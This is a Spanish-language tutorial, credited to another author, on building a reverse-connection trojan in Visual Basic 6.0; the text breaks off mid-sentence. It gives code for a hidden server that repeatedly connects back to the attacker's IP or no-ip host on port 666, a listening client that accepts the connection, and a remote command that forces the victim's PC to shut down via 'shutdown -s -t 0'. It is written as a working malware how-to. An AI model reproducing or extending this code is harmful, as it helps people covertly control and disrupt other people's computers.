El trabajo no es mio

Como hacer un troyano en Visual Basic 6.0

Antes de nada decir que será un troyano de conexión inversa, al final hare una aclaración de cómo hacer la conexión directa. Primero lo que hacemos será abrir dos proyectos en VB, uno será el servidor del troyano y el otro será el cliente, primero explicare como crear el server:

Servidor: Lo primero que tendremos que hacer será añadir el objetowinsock, para ello vamos a proyecto>componentes y en la lista que nos sale buscamos el “Microsoft Winsock control 6.0” marcamos la casilla y le damos a aplicar.

Ahora nos vamos al formulario principal y le agregamos un winsock

Antes de empezar con el código vamos a configurar el winsock para que se conecte a nosotros.

En remotehost ponemos nuestra ip o nuestra no-ip (si tenemos ip dinámicaserá mejor una no-ip) En remoteport ponemos el puerto por el que se conectara al cliente en este caso sera el 666

Bien una vez tenemos el winsock puesto y configurado vámonos al código para hacer que el server se conecte al cliente: Private Sub Form_Load() Hide ‘ server End Sub esto no tiene nada que ver con la conexión, simplemente sirve para ocultar el

Private Sub Timer1_Timer() IfWinsock1.State = 0 Then ‘ cuando el estado del winsock es 0 (desconectado) el winsock se conecta al host remoto que le pusimos cuando lo configuramos. Winsock1.Connect ElseIf Winsock1.State = 7 Then ‘ cuando el estado del winsock es 7 (conectado) no se ace nada Else ‘ en caso contrario a que el winsock no estea ni conectado ni desconectado el winsock se cerrara la conexión. Winsock1.Close End If

EndSub

Como se puede ver en el código anterior, para conectarse se usa un timer, asi que tenemos que agregar un timer y le pondremos intervalo 200, con esto conseguimos que cada 0.2 seg se realice el código de conexión.

Bueno en el server hemos acabado por el momento, ahora nos vamos al client:

En el client tendremos que repetir la operación para agregar el winsock. como el troyano es deconexión inversa el cliente estará escuchando para cuando el server se quiera conectar: entonces en la configuración del winsock tendremos que poner un localport, en este caso tendremos que poner el puerto 666 que fue el que pusimos en el remoteport del server:

Ahora nos vamos al código: Private Sub Command1_Click() Winsock1.Listen ‘ End Sub Esto pone el winsock a la escucha de conexionesPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close Winsock1.Accept requestID ‘ cuando un programa ageno (en este caso el server) intenta conectarse el winsock acepta la conexion End Sub

Como podeis ver en el código además del winsock ace falta un botón, asi que lo agregais y listo.

Bueno, podríamos decir que el troyano en si ya esta listo, ahora lo único que faltanson las funciones, aquí es donde viene la complejidad del troyano, según las funciones que queramos agergar el troyano será mas o menos complejo, yo añadiré un par de ellas, después cada uno que añada las que quiera a su gusto.

Nos vamos al server: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String ‘ declaramos una variable Winsock1.GetData datos ‘ que acabamos dedeclarar End Sub guardamos los datos que reciba el server en la variable

Ahora nos vamos al cliente:

añadimos un botón para la primera función:

Ahora añadimos el siguiente código:

Private Sub Command2_Click() Winsock1.SendData "apagar" ‘ pulsa el botón. End Sub esto manda los datos “apagar” al server cuando se

Ahora nos vamos al server: En la función data arrival del winsock añadimoslo siguiente: If datos = "apagar" Then Shell "shutdown -s -t 0" End If

De forma que nos quedara esto: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim datos As String Winsock1.GetData datos If datos = "apagar" Then ‘ si los datos que llegan al server son “apagar” entonces se ejecutara el Shell y se introduce el comando “shutdown –s –t 0” que ace que se le apague el pc a la...